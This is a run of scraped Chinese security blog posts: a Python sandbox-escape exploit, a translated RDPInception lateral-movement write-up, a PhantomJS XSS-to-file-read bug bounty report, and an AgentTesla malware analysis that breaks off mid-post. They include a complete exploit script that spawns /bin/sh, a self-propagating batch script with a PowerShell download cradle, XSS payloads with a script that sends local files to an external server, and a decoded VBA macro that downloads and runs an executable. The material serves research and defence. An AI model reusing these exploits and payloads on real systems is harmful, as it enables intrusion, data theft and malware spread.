importtypes fromopcodeimportopmap importstruct defp16(content): returnstruct.pack("<H",content) defp32(content): returnstruct.pack("<I",content) defp64(content): returnstruct.pack("<Q",content) defsomefunction(): pass defget_opcode(opname): returnchr(opmap[opname]) consts=("12345",) fake_type_object='a'*(0x5610-0x55b4)+p64(0xdeadbeef) ptr_fake_type=id(fake_type_object) ptr=ptr_fake_type #_ob_next_ob_prevrefcnttob_type fake_object='a'*4+p64(ptr)+p64(ptr)+p64(1)+p64(ptr) #pointsto to_load='aaaa'+p64(id(fake_object)+(0x310-0x2e0)+8) ptr_fake_object=id(to_load)+(0x310-0x2e0) ptr_consts=id(consts)+32 offset=((ptr_fake_object-ptr_consts)//8)&0xffffffff defget_code(code_byte_str,code_consts): somefunction.func_code=types.CodeType( 0,0,0,0, code_byte_str, code_consts,(),(), "","",0,"" ) returnsomefunction extended_arg=get_opcode('EXTENDED_ARG') load_const=get_opcode('LOAD_CONST') call_function=get_opcode('CALL_FUNCTION') load_fast=get_opcode('LOAD_FAST') code=get_code( extended_arg+\ p16(offset>>16)+\ load_const+\ p16(offset&0xffff)+\ call_function+\ p16(0), consts ) #raw_input() code()

这个poc稍微显得有点乱,但是基本能够表达清楚思路。主要是有一些偏移量的计算不太好算,所以我采用了动态调试的方法,直接看内存结构,然后相减得到的偏移,看起来虽然乱了,但是却是计算偏移最简单的方法,偏移量其实很多时候不是很好静态计算,可能有一些你没想到的细节,如果动态去调着看的话,就一定是正确的偏移了。

运行这个POC,我们可以使rip指向0xdeadbeef了。

3.从POC到EXP,任意执行到shell

其实到这,剩下的步骤虽然还有一些,但是思路上已经全部清晰了,我们可以执行任意代码,现在需要的是:

i.找到system的地址;

ii.传入参数。

1)任意读

根据之前的讨论,我们知道了我们可以随意更改字节码,执行任意字节码,那么想要构造一个新的object也不是难事。想要读取信息,就需要一个指针,而Python有指针的地方实在是太多了。

我们采取的方法是使用ByteArrayObject,ByteArrayObject代码如下:

typedefstruct{ PyObject_VAR_HEAD /*XXX(nnorwitz):shouldob_exportsbePy_ssize_t?*/ intob_exports;/*howmanybufferexports*/ Py_ssize_tob_alloc;/*Howmanybytesallocated*/ char*ob_bytes;/*重点!一个可以读的指针*/ }PyByteArrayObject;

所以,想要任意读,伪造一个BYteArrayObject,伪造方法和之前一样,然后直接读就可以了,好了,现在的问题只剩下,读哪儿?

2)system地址

想要找到system的地址,就需要libc地址,libc地址其实还花了我一些时间,不过最终用到一个方法:

sys.stdin的f_fp字段存有_IO_2_1_stdin的地址,这个地址是位于libc data段的,可以利用这个去拿到libc地址,最终拿到system地址,读取方法就根据上一节的PyByteArrayObject的方法就可以。

3)参数

有了system,可以劫持rip,最后的问题是传入参数。这里就需要注意到之前call的调用方式了:

result=(*call)(callable,args,kwargs);/*func是第一个参数*/

func是一个指针,指向我们构造的“第一个对象”,所以,我们只需要把第一个对象的开始部分设置为"/bin/sh",由于ob_next并没有用到,所以改为字符串并不会影响其他结果,最后就可以system("/bin/sh")了。

4.exp.py

这个exploit是我自己的环境下的,并且是自己编译的debug版本,执行不正常是可能出现的,因为偏移量不一样,甚至具体代码都有可能有一些不一样,所以仅供参考。最后还是需要自己手动调试才行(特别是各种偏移量)。

importtypes importsys fromopcodeimportopmap importstruct defp16(content): returnstruct.pack("<H",content) defp32(content): returnstruct.pack("<I",content) defp64(content): returnstruct.pack("<Q",content) defu64(content): returnstruct.unpack("<Q",content) defget_opcode(opname): returnchr(opmap[opname]) defget_code(somefunction,code_byte_str,code_consts): somefunction.func_code=types.CodeType( 0,0,0,0, code_byte_str, code_consts,(),(), "","",0,"" ) returnsomefunction extended_arg=get_opcode('EXTENDED_ARG') load_const=get_opcode('LOAD_CONST') call_function=get_opcode('CALL_FUNCTION') load_fast=get_opcode('LOAD_FAST') return_value=get_opcode('RETURN_VALUE') defcall(rip): """ makethepythoncalladdr """ consts=("12345",) fake_type_object='a'*(0x5610-0x55b4)+p64(rip) ptr_fake_type=id(fake_type_object) ptr=ptr_fake_type #_ob_next_ob_prevrefcntob_type fake_object='a'*4+'/bin/sh;'.ljust(8)+p64(ptr)+p64(1)+p64(ptr) to_load='aaaa'+p64(id(fake_object)+(0x310-0x2e0)+8) ptr_fake_object=id(to_load)+(0x310-0x2e0) ptr_consts=id(consts)+32 offset=((ptr_fake_object-ptr_consts)//8)&0xffffffff defsomefunction(): pass code=get_code( somefunction, extended_arg+\ p16(offset>>16)+\ load_const+\ p16(offset&0xffff)+\ call_function+\ p16(0), consts ) #raw_input() code() defpwn(addr): """ leakthecontentoftheaddressandcallsystem('/bin/sh;') """ consts=(12345,) to_be_next=bytearray("111") next_ptr=id(to_be_next) bytearray_type_ptr=int(to_be_next.__subclasshook__.__str__().split('at')[1][:-1],16) #print("bytearraytype:{}".format(hex(bytearray_type_ptr))) #_ob_next_ob_prevrefcntob_type fake_bytearray='a'*4+p64(next_ptr)+p64(next_ptr)+p64(1)+p64(bytearray_type_ptr) #sizeob_exportsjunkob_allocob_bytes fake_bytearray+=p64(0x20)+p32(1)+'aaaa'+p64(20)+p64(addr) to_load='aaaa'+p64(id(fake_bytearray)+(0x310-0x2e0)+8)+p64(1)+p64(1) ptr_fake_object=id(to_load)+(0x310-0x2e0) #print("fakebytearray:{}".format(hex(ptr_fake_object))) ptr_consts=id(consts)+32 offset=((ptr_fake_object-ptr_consts)//8)&0xffffffff #print("ptrconsts:{}offset:{}".format(hex(ptr_consts),hex(offset))) defsomeleak(): pass get_fake_bytearray_function=get_code( someleak, extended_arg+p16(offset>>16)+\ load_const+p16(offset&0xffff)+\ return_value, consts ) #raw_input() fake_bytearray_object=get_fake_bytearray_function() #print("fakebytearrayobject:{}".format(hex(id(fake_bytearray_object)))) _IO_2_1_stdin_addr_list=[] foriinrange(8): _IO_2_1_stdin_addr_list.append(fake_bytearray_object[i]) _IO_2_1_stdin_addr=u64(''.join(map(chr,_IO_2_1_stdin_addr_list)))[0] #print(_IO_2_1_stdin_addr) #print("addr:{}".format(hex(_IO_2_1_stdin_addr))) libc_base=_IO_2_1_stdin_addr-0x39f8a0 system_addr=libc_base+0x40db0 call(system_addr) if__name__=="__main__": pwn(id(sys.stdin)+0x20)

结论

1.Python真的没有沙箱,本文提出的方法几乎适合于任何情况的Python沙箱,除非有大更改。毕竟整个过程中用的都是Python必须的东西,原生的东西,没有依赖不必要的。

2.调试过程中尽量动态去算偏移,除非是真的必须要静态来看出原理。静态看偏移经常会出错。

注意

1.本文的情况和TCTF final的情况不完全一样,他的情况还有一些地方需要处理。比如没有id函数可以拿到任意对象的地址,并且开启了PIE。本文中的情况考虑了PIE,但是id函数需要自己处理一下。我目前想到的id的处理方式,是通过一个方法,比如a = ""; a.ljust.__str__()也是可以达到id函数的效果的,其他类型也可以相应的去找他有的方法来leak出地址。

2.本文的情况都是基于debug版本的,release版本应该会有一些小差别,但是方法是通用的,不过由于时间关系我没有再调试一遍release版本,release版本调试起来也会比较费时间,方法是能用的。




【技术分享】Python沙箱?不存在的
【技术分享】Python沙箱?不存在的
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4059.html

【技术分享】RDPInception:另类RDP攻击手段(附演示视频)

$
0
0
【技术分享】RDPInception:另类RDP攻击手段(附演示视频)

2017-07-03 15:42:46

阅读:6824次
点赞(0)
收藏
来源: mdsec.co.uk





【技术分享】RDPInception:另类RDP攻击手段(附演示视频)

作者:興趣使然的小胃





【技术分享】RDPInception:另类RDP攻击手段(附演示视频)

译者:興趣使然的小胃

预估稿费:140RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言

系统管理员经常使用远程桌面(Remote Desktop)来远程管理计算机。对许多机构及组织来说,这种行为意味着被远程访问的主机需要被放在DMZ区中或者只开放TCP 3389端口的隔离网络中。

在远程桌面中,用户可以“选择要在远程会话中使用的设备和资源”,这些设备或资源包括本地磁盘共享等,如下图所示:


【技术分享】RDPInception:另类RDP攻击手段(附演示视频)

已经有许多研究人员对远程桌面的攻击路径以及存在的安全风险进行了理论上的分析,其中经常被提及的一个安全风险就是接受远程桌面连接请求的目标服务器可以对连入的主机发起攻击。ActiveBreach团队的Vincent Yiu对这种名为RDPInception的攻击做了分析,提供了概念验证(PoC,proof of concept)脚本,利用这个脚本可以以递归方式对RDP服务器的访客发起攻击。ActiveBreach团队在模拟对抗演练中多次利用到了这种技术,取得了非常不错的效果。


二、RDPInception攻击的相关概念

RDPInception的攻击原理基于一个非常简单的概念,那就是“启动(Startup)”程序,也就是说,利用开始菜单中的“启动”目录强迫用户在登陆时执行代码。

考虑以下攻击场景:


【技术分享】RDPInception:另类RDP攻击手段(附演示视频)

在这个攻击场景中,攻击者已经攻陷了数据库服务器。管理员通过RDP方式连入跳板节点(Jump box),然后再利用RDP方式依次连入域控(Domain Controller)、文件服务器以及数据库服务器。在这条连接路径中,攻击者可以在任意节点中发起RDPInception攻击。从理论上讲,只要管理员下次再次登录每台机器,攻击者就可以利用这种攻击方式获取整条路径中每台服务器的shell接口。在这个场景中,攻击者唯一需要的就是在DB001上发起RDPInception攻击,剩余的程序可以自动完成。

攻击者可以在受限环境中使用这种技术实施横向渗透攻击,无需用户凭证或利用漏洞。


三、RDPInception的适用场景

这种攻击技术最适合在高度受限的环境中使用,特别是当其他横向渗透技术以及权限提升技术无法完成任务时,攻击者就可以考虑使用这种方法。

此外,我们来考虑一种攻击场景,其中公司的某位员工在早上4点时通过远程方式登录服务器,整个登录会话持续了5分钟。在这种情况下,即使黑客能够持续不断地监视连入的RDP会话,也很难在这么短的时间内部署攻击环境。此外,这种监视动作很大,因为攻击者需要定期使用“query user”命令来判断当前主机是否有RDP连入会话,如果攻击者每隔1小时查询一次RDP会话,那么在这种攻击场景中,攻击者就会错过良机。RDPInception技术完全不需要持续性监视RDP连入会话。


四、RDPInception原理

RDPInception的概念验证程序是一个较为简单的批处理脚本,详细步骤如下所示。

关闭echo功能。

@echooff 设置一个短期计时器,确保tsclient已被加载。
timeout1>nul2>&1 在访客主机以及目标主机上创建临时目录。
mkdir\\tsclient\c\temp>nul2>&1 mkdirC:\temp>nul2>&1 将批处理脚本拷贝到临时目录中。
copyrun.batC:\temp>nul2>&1 copyrun.bat\\tsclient\c\temp>nul2>&1 确保%TEMP%目录中不存在某个文本文件。
del/q%TEMP%\temp_00.txt>nul2>&1 在访客主机以及目标主机上搜索启动目录。
setdirs=dir/a:d/b/sC:\users\*Startup* setdirs2=dir/a:d/b/s\\tsclient\c\users\*startup* echo|%dirs%|findstr/i“Microsoft\windows\StartMenu\Programs\Startup”>>”%TEMP%\temp_00.txt” echo|%dirs2%|findstr/i“Microsoft\Windows\StartMenu\Programs\Startup”>>”%TEMP%\temp_00.txt” 遍历这些目录,尝试将批处理脚本传播到这些目录中。
for/F“tokens=*”%%ain(%TEMP%\temp_00.txt)DO( copyrun.bat“%%a”>nul2>&1 copyC:\temp\run.bat“%%a”>nul2>&1 copy\\tsclient\c\temp\run.bat“%%a”>nul2>&1 ) 清理%TEMP%文件。
del/q%TEMP%\temp_00.txt>nul2>&1 使用PowerShell来下载执行攻击程序。
powershell.exe<cradlehere>
五、攻击范围
为了在给定条件下精确筛选攻击目标,攻击者在下载或执行攻击载荷时通常会遵循某些约束条件。

以下环境变量经常作为约束条件使用,比如:

1、用户名

2、用户所在域

3、子网信息

比如,我们可以使用用户所在域对攻击脚本进行修改:

If“<DOMAINNAME>“==”%USERDOMAIN%”(<powershellcradlehere>)
六、RDPInception工具
我们上传了一个攻击脚本,可以依托Cobalt Strike框架自动化完成攻击过程,在这个项目中还有一个批处理脚本,大家可以自行修改以手动实施攻击,或者与其他工具(如Empire)配合使用。

如果你直接运行rdpinception,选择HTTP、HTTPS或者DNS类型的监听器,那么攻击过程就不会受到约束条件限制。

如果你以“rdpinception ACME”方式运行攻击脚本,那么攻击过程的约束条件就是ACME域,攻击脚本只会在加入到ACME域的主机上运行。

演示视频如下:

攻击所需的所有工具都可以从Github上的ActiveBreach仓库中获取。



【技术分享】RDPInception:另类RDP攻击手段(附演示视频)
【技术分享】RDPInception:另类RDP攻击手段(附演示视频)
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://www.mdsec.co.uk/2017/06/rdpinception/

【技术分享】从PhantomJS图片渲染中的XSS漏洞到SSRF/本地文件读取漏洞

$
0
0
【技术分享】从PhantomJS图片渲染中的XSS漏洞到SSRF/本地文件读取漏洞

2017-07-04 14:24:34

阅读:160次
点赞(0)
收藏
来源: buer.haus





【技术分享】从PhantomJS图片渲染中的XSS漏洞到SSRF/本地文件读取漏洞

作者:興趣使然的小胃





【技术分享】从PhantomJS图片渲染中的XSS漏洞到SSRF/本地文件读取漏洞

译者:興趣使然的小胃

预估稿费:170RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言
最近我被邀请研究某个漏洞奖励项目,这个项目可以根据用户的输入生成一幅图片,以供用户下载。经过一段时间的探索,我找到了一条漏洞利用路径,可以利用图片内部的XSS漏洞最终实现服务器上本地任意文件的读取。这个项目涉及客户隐私,因此我会在保护隐私的前提下,尽可能详细地与大家分享技术细节。

二、技术细节

用户的正常请求遵循如下样式:

https://website/download?background=file.jpg&author=Brett&header=Test&text=&width=500&height=500 服务器输出的文件如下所示:

【技术分享】从PhantomJS图片渲染中的XSS漏洞到SSRF/本地文件读取漏洞

一开始时,我对请求URL中的background参数比较感兴趣,因为这个参数可以指定文件名,值得好好探索一番。然而经过仔细的研究,我发现真正存在漏洞的是header这个变量,该变量容易受到某种形式的HTML注入攻击的影响。我曾经学习过如何利用PDF文件内部的XSS漏洞触发严重漏洞的文章,因此我决定借鉴类似思路,进一步挖掘这个漏洞。

发送的请求如下:

https://website/download?background=file.jpg&author=Brett&header="><u>test&text=&width=500&height=500 对应的输出为:

【技术分享】从PhantomJS图片渲染中的XSS漏洞到SSRF/本地文件读取漏洞

将随机的HTML元素放到这个变量中后,我注意到大多数元素都会被成功渲染,比如iframe、img、script等。我决定以我自己的服务器为目标,看看能否获取更多信息,了解哪个程序在具体负责处理HTML数据。

发送的请求如下:

https://website/download?background=file.jpg&author=Brett&header=<iframesrc=https://xss.buer.haus/ssrftest></iframe>&text=&width=500&height=500 相应的输出为:

【技术分享】从PhantomJS图片渲染中的XSS漏洞到SSRF/本地文件读取漏洞

在自己搭建的服务器上,我观察到如下信息:

[25/Jun/2017:20:31:49-0400]"GET/ssrftestHTTP/1.1"404548"-""Mozilla/5.0(Unknown;linuxx86_64)AppleWebKit/538.1(KHTML,likeGecko)PhantomJS/2.1.1Safari/538.1" 请求报文中的User-Agent字段表明目标服务器使用的是PhantomJS这种无界面浏览器(headless browser)客户端来加载HTML页面并生成图片数据。我对Phantom已经有一定的基础,因为它经常出现在CTF比赛中,并且我在自研的在线扫描器中也用到了这个工具来对网页进行截屏。早点得到这个信息是件好事,因为它回答了我在挖掘这个项目的漏洞时遇到的一些问题。

我遇到的第一个问题就是无法通过基本的载荷来保持javascript的持续运行。<script></script>无法正确执行,而<img src=x onerror=>的触发结果又不能保持一致性。经过测试,我发现100次尝试中只有1次成功完成了window.location的重定向。在某些情况下,测试载荷完全不会执行。更为严重的是,当我尝试重定向到另一个页面时,服务器返回了某些异常信息。

发送的请求如下:

https://website/download?background=file.jpg&author=Brett&header=<imgsrc="x"onerror="window.location='https://xss.buer.haus/'"/>&text=&width=500&height=500 服务器的响应为:
{"message":"Internalservererror"}. 我总共尝试了50种不同类型的载荷,最后才意识到问题应该出自于PhantomJS的某种条件竞争缺陷。之前我在开发网页扫描器时,需要为Phantom写一款插件,当时也碰到了类似的问题,当时我尝试对某些网页进行截屏,程序没有等到JavaScript完全加载就已经返回了结果。

我需要找到一种解决办法,使得Phantom在截图渲染完毕之前处于等待状态,直到JavaScript加载完成为止。经过多次尝试后,最终我通过document.write函数完全覆盖了页面内容,这种方法似乎解决了这一问题,虽然我没搞清具体的原因。

具体的请求如下:

https://website/download?background=file.jpg&author=Brett&header=<imgsrc="x"onerror="document.write('test')"/>&text=&width=500&height=500 服务器返回的响应为:

【技术分享】从PhantomJS图片渲染中的XSS漏洞到SSRF/本地文件读取漏洞

此时此刻,对于每个页面的加载过程,我都能获得一致性的JavaScript执行结果。下一步我需要做的就是尽可能多地收集PhantomJS的信息,以及当前页面执行点所在的上下文内容及具体位置。

发送的请求如下:

https://website/download?background=file.jpg&author=Brett&header=<imgsrc="x"onerror="document.write(window.location)"/>&text=&width=500&height=500 服务器返回的响应如下:

【技术分享】从PhantomJS图片渲染中的XSS漏洞到SSRF/本地文件读取漏洞

从响应消息中我们可以发现,当前我们的执行点源自于“file://”处,这是一个HTML文件,位于“/var/task/”目录中。现在我想测试一下我能否利用iframe方式引用这个文件,以确认我与“/var/task/”位于同一个源。

发送的请求如下:

https://website/download?background=file.jpg&author=Brett&header=<imgsrc="xasdasdasd"onerror="document.write('<iframesrc=file:///var/task/[redacted].html></iframe>')"/>&text=&width=500&height=500 服务器返回的响应如下:

【技术分享】从PhantomJS图片渲染中的XSS漏洞到SSRF/本地文件读取漏洞

现在我至少可以确定我能够加载“/var/task/”目录中的文件,因此接下来我想进一步确认是否能够加载其他目录(如/etc/目录)中的文件。

发送的载荷如下:

&header=<imgsrc="xasdasdasd"onerror="document.write('<iframesrc=file:///etc/passwd></iframe>')"/> 然而服务器没有任何反馈。

我Google了一下“/var/tasks”,发现这个目录与AWS Lambda有关。根据搜索结果,我发现这个目录中存在某些文件,应该会包含Phantom插件的源代码,比如“/var/task/index.js”。我认为“/var/”目录中的这些文件可能会向我提供更多的信息,或者至少会包含某些值得分析的数据。

如果使用XHR技术、发送Ajax请求,我应该可以加载这些文件的内容,然后在图片中显示这些内容,或者将这些内容传输到我的服务器。当我想在document.write中直接使用这种JavaScript脚本时,我碰到了其他一些问题,最终我通过加载外部脚本的方式成功绕过了这些问题。

使用的载荷如下:

&header=<imgsrc="xasdasdasd"onerror="document.write('<scriptsrc="https://xss.buer.haus/test.js"></script>')"/> test.js内容如下:
functionreqListener(){ varencoded=encodeURI(this.responseText); varb64=btoa(this.responseText); varraw=this.responseText; document.write('<iframesrc="https://xss.buer.haus/exfil?data='+b64+'"></iframe>'); } varoReq=newXMLHttpRequest(); oReq.addEventListener("load",reqListener); oReq.open("GET","file:///var/task/[redacted].html"); oReq.send(); 想在不暴露敏感信息的同时向大家展示结果是件很困难的事情,因此在这里我就随便以服务器中的访问日志为例,展示我们所能获取的数据信息:

【技术分享】从PhantomJS图片渲染中的XSS漏洞到SSRF/本地文件读取漏洞

因此,我们已经能够通过越界JavaScript以及XHR技术,脱离file://文件的束缚,实现任意文件的读取。现在让我们再次将脚本指向“/etc/passwd”,检查是否能够读取到iframe无法读取的信息:


【技术分享】从PhantomJS图片渲染中的XSS漏洞到SSRF/本地文件读取漏洞

非常好!虽然PhantomJS无法通过<iframe src=”file://”>方式加载“file://”文件的内容,但我们通过XHR技术却能做到这一点。

从整个过程来看,虽然XSS载荷可能有些相形见绌,但我还是花了很多精力,做了很多猜测才走到这一步。这是非常古怪的一个奖励项目,我觉得整个过程像是在解决某个CTF挑战,而不是在挖掘生产服务器的漏洞。虽然整个周末我花了很多时间来解决这个难题,但至少还是有所收获的。




【技术分享】从PhantomJS图片渲染中的XSS漏洞到SSRF/本地文件读取漏洞
【技术分享】从PhantomJS图片渲染中的XSS漏洞到SSRF/本地文件读取漏洞
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/

【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

$
0
0
【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

2017-07-04 15:47:26

阅读:719次
点赞(0)
收藏
来源: blog.fortinet.com





【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

作者:eridanus96





【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

译者:eridanus96

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


背景

FortiGuard实验室近期捕获到了一些使用微软.Net框架开发的恶意软件,我们对其中比较典型的一个进行了分析。该恶意软件是AgentTesla家族的一个变种,通过含有能自动执行的恶意VBA宏的Word文档实现传播。本文将全面分析这一恶意软件是如何从用户机器中窃取信息的。下图是打开包含恶意代码的Word文档时的界面。

【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

对VBA代码的分析

单击“Enable Content”(启用内容)按钮后,会在后台偷偷执行恶意VBA宏。代码首先将一些键值写入设备的系统注册表中,以避免在下次打开带有不安全内容的Word文档时再出现宏安全警告。以下是写入注册表中的内容:

HKCU\Software\Microsoft\Office\{wordversion}\Word\Security\,AccessVBOM,dword,1HKCU\Software\Microsoft\Office\{wordversion}\Word\Security\,VBAWarning,dword,1
【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析
写入完成后,它会在一个新的Word进程中重新打开Word文档。这时,宏会再次执行,但这一次它执行的是不同的代码部分。在重新启动的Word程序中执行的宏,主要目的是动态获取一个新的VBA函数(ljRIpdKkSmQPMbnLdh)并得到它的调用。

该函数如下:

SubljRIpdKkSmQPMbnLdh() DimdmvAQJchAsString DimJWyaIoTHtZaFGAsString DimTrbaApjsFydVkOGwjnzkpOBAsString dmvAQJch=CreateObject(ThisDocument.bQYHDG("66627281787F833D6277747B7B",15)).ExpandEnvironmentStrings(ThisDocument.bQYHDG("3463747C7F34",15)) JWyaIoTHtZaFG=ThisDocument.bQYHDG("6B",15) TrbaApjsFydVkOGwjnzkpOB=ThisDocument.bQYHDG("797085823D748774",15) dmvAQJch=dmvAQJch+JWyaIoTHtZaFG+TrbaApjsFydVkOGwjnzkpOB DimcllbWRRTqqWoZebEpYdGmnPBLAxAsString cllbWRRTqqWoZebEpYdGmnPBLAx=ThisDocument.bQYHDG("7783837F493E3E43443D46463D42443D4142483E403E837E7370883D748774",15) DimOhYBGFWMcPWNnpvvuTeitVAKAsObject SetOhYBGFWMcPWNnpvvuTeitVAK=CreateObject(ThisDocument.bQYHDG("5C7872817E827E75833D675C5B5763635F",15)) OhYBGFWMcPWNnpvvuTeitVAK.OpenThisDocument.bQYHDG("565463",15),cllbWRRTqqWoZebEpYdGmnPBLAx,False OhYBGFWMcPWNnpvvuTeitVAK.send IfOhYBGFWMcPWNnpvvuTeitVAK.Status=200Then DimBIPvJqwtceisuIuipCzbpsWRuhRwpAsObject SetBIPvJqwtceisuIuipCzbpsWRuhRwp=CreateObject(ThisDocument.bQYHDG("50535E53513D62838174707C",15)) BIPvJqwtceisuIuipCzbpsWRuhRwp.Open BIPvJqwtceisuIuipCzbpsWRuhRwp.Type=1 BIPvJqwtceisuIuipCzbpsWRuhRwp.WriteOhYBGFWMcPWNnpvvuTeitVAK.responseBody BIPvJqwtceisuIuipCzbpsWRuhRwp.SaveToFiledmvAQJch,2 BIPvJqwtceisuIuipCzbpsWRuhRwp.Close EndIf IfLen(Dir(dmvAQJch))<>0Then DimTGoCeWgrszAukk TGoCeWgrszAukk=Shell(dmvAQJch,0) EndIf EndSub

此函数中的所有关键部分都被编码。解码后如下:

bQYHDG("66627281787F833D6277747B7B",15)=>“WScript.Shell” bQYHDG("3463747C7F34",15)=>“%Temp%” bQYHDG("797085823D748774",15)=>“javs.exe” bQYHDG("7783837F493E3E43443D46463D42443D4142483E403E837E7370883D748774",15)=>“hxxp://45.77.35.239/1/today.exe” bQYHDG("5C7872817E827E75833D675C5B5763635F",15)=>“Microsoft.XMLHTTP” bQYHDG("565463",15)=>“Get”

从上面高亮的关键字可以发现,此恶意软件可以下载一个可执行文件,并通过调用“Shell”函数运行该文件。具体来说,恶意软件是将“today.exe”文件下载到%Temp%目录下,重命名为“javs.exe”,然后运行。


对javs.exe的分析


【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析
从上图中PE分析工具的分析结果中,我们可以看到javs.exe是使用.NET框架构建的。然而这一文件使用了PDF相关的图标,用以迷惑用户。

在执行后,它通过调用带有CREATE_SUSPENDED标志的CreateProcessA函数来启动另一个进程。这一过程将允许通过调用WriteProcessMemory函数来修改第二个进程的内存。最后,通过调用SetThreadContext和ResumeThread函数来恢复进程。

下图展现了CreateProcessA是如何被调用的:


【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

通过分析,我们确定通过调用WriteProcessMemory注入到第二个进程中的数据是另一个可执行文件。此文件是从第一个javs.exe进程中的BMP资源中解码得到的。这一注入的可执行文件同样是用.NET框架构建的。

我们知道,.NET程序只包含已编译的字节码。而字节码只能在其.NET CLR虚拟机中解析和执行。因此,使用Ollydbg或Windbg这些工具分析.NET程序的难度将非常大,我们需要选择其他合适的分析工具。


对第二个.NET程序的分析

在前面的分析过程中,我们已经确定第二个.NET程序是由javs.exe进程的内存中动态解码而成。因此,我们要尝试捕获其整个数据,并将其保存为exe文件进行分析。我们使用内存工具直接从第二个进程的内存中转储它,如下图所示。

【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

在转储过程中,提示“PE文件已损坏”,原因可能在于转储文件的PE头部是错误的。我们可以使用任何一种脱壳手段手动修复PE头部。随后,转储文件便可以被识别、静态分析和调试。如下图,修复后的文件被识别为.NET程序集,同时还可以在CFF资源管理器中看到.NET目录信息。


【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

恶意软件的作者使用了一些反分析技术。例如,对函数名和变量名进行模糊处理以使其难以理解,进行编码以隐藏关键字和关键数据。因此,分析人员很难分析出恶意软件的工作方式。由于类、函数和变量的名称不可读,修复后的.NET程序甚至会造成静态分析工具.NET Reflector无法正常工作。使用反分析技术的部分代码如下:


【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

为了更好地分析恶意软件,我们尝试将可读性差的名称重新命名。在后续的分析中,代码中涉及到的名称均被重命名为易于理解的名称。

以上我们就完成了全部准备工作,接下来就可以对该恶意软件的整体进行分析。


对.NET恶意软件的整体分析

一旦运行,它将通过当前运行的进程来杀死所发现的重复进程。随后,向C&C服务器发送“uninstall”(卸载)和“update”(更新)命令。如果从服务器返回的响应中包含“uninstall”字符串,便会删除其在计算机上写入的全部信息并退出。当我运行的恶意软件, 没有 "卸载" 字符串包含在响应, 所以我可以继续分析。下图展现了将“update”命令发送到C&C服务器的过程:

【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

从上图中标记的位置我们可以发现,C&C服务器的地址是“hxxp://www.vacanzaimmobiliare.it/testla/WebPanel/post. php”,该地址在 “SendToCCServer”函数中被解密。HTTP的请求方式是POST。

接下来, 它将自己从“%temp%\javs.exe”复制到“%appdata%\Java\JavaUpdtr.exe”。通过这种方式,它使得自己看起来像一个Java更新程序。接着,它将自己的完整路径写入系统注册表中的“Software\Microsoft\windows NT\CurrentVersion\Windows\load”键值中,以便在系统启动时自动运行JavaUpdtr.exe。

下面的代码是该恶意软件定位JavaUpdtr.exe完整路径的方法:

privatestaticstringappdata_Java_JavaUpdtr.exe=Environment.GetEnvironmentVariable("appdata")+"\\Java\\JavaUpdtr.exe"; 该恶意软件可以记录计算机的键盘输入,实时从系统的剪贴板中窃取数据,捕获计算机屏幕截图,并收集已安装软件的用户凭据。为了完成这些任务,它创建了多个线程和计时器,我们接下来将进行分析。

窃取键盘输入、系统剪贴板内容和屏幕截图

在调用main函数前,在main类的构造函数中定义了三个Hook对象,分别用于记录键盘、鼠标和剪贴板。之后,它对这些Hook的功能进行设置,以便当用户从键盘输入内容时,或者当剪贴板数据被更改(使用Ctrl+C)时,会首先调用挂钩函数。

【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

在这个函数中,它首先抓取用户键入的窗口标题,并将其放入html代码中。接下来,它会捕获用户按键,并将按键字符串转换为html代码,形如:


【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

HTML代码被连接到变量“pri_string_saveAllStolenKey_Clipboard_Data”:


【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

恶意软件还会创建一个计时器,每10分钟调用一次函数。计时器的函数可以使用“Graphics::CopyFromScreen”这一API抓取用户的屏幕截图,并保存到文件 “%appdata%\ScreenShot\screen.jpeg”。随后使用base64对screen.jpeg文件进行编码,最后使用“screenshots”命令发送到C&C服务器上。

它会每隔10分钟都进行一次屏幕截图并上传,所以恶意软件的作者可以看到用户正在进行的工作。下图是恶意软件通过调用发送函数,向C&C服务器发送一个screen.jpeg文件:


【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

窃取已安装软件的用户凭据

在main函数的最后,创建了另一个线程,其功能是从计算机上的各种已安装软件中收集凭据。它可以从系统注册表、本地配置文件、SQLite数据库文件中收集用户凭据。一旦它捕获到一个软件的凭据,就会立即将其发送到C&C服务器。一个HTTP数据包只包含一个软件的凭据。

根据我们的分析,该恶意软件可以从下列软件中获取凭据:

浏览器:Google Chrome, Mozilla Firefox, Opera, Yandex, Microsoft IE, Apple Safari, SeaMonkey, ComodoDragon, FlockBrowser, CoolNovo, SRWareIron, UC browser, Torch Browser

邮件客户端:Microsoft Office Outlook, Mozilla Thunderbird, Foxmail, Opera Mail, PocoMail, Eudora, TheBat!

FTP客户端:FileZilla, WS_FTP, WinSCP, CoreFTP, FlashFXP, SmartFTP, FTPCommander

动态DNS:DynDNS, No-IP

视频聊天软件:Paltalk, Pidgin

下载软件:Internet Download Manager, JDownloader

在我们的实验中,使用了微软Outlook进行测试,下图是发送到C&C服务器的Outlook数据的内容:


【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析

C&C命令格式

C&C命令格式字符串如下:

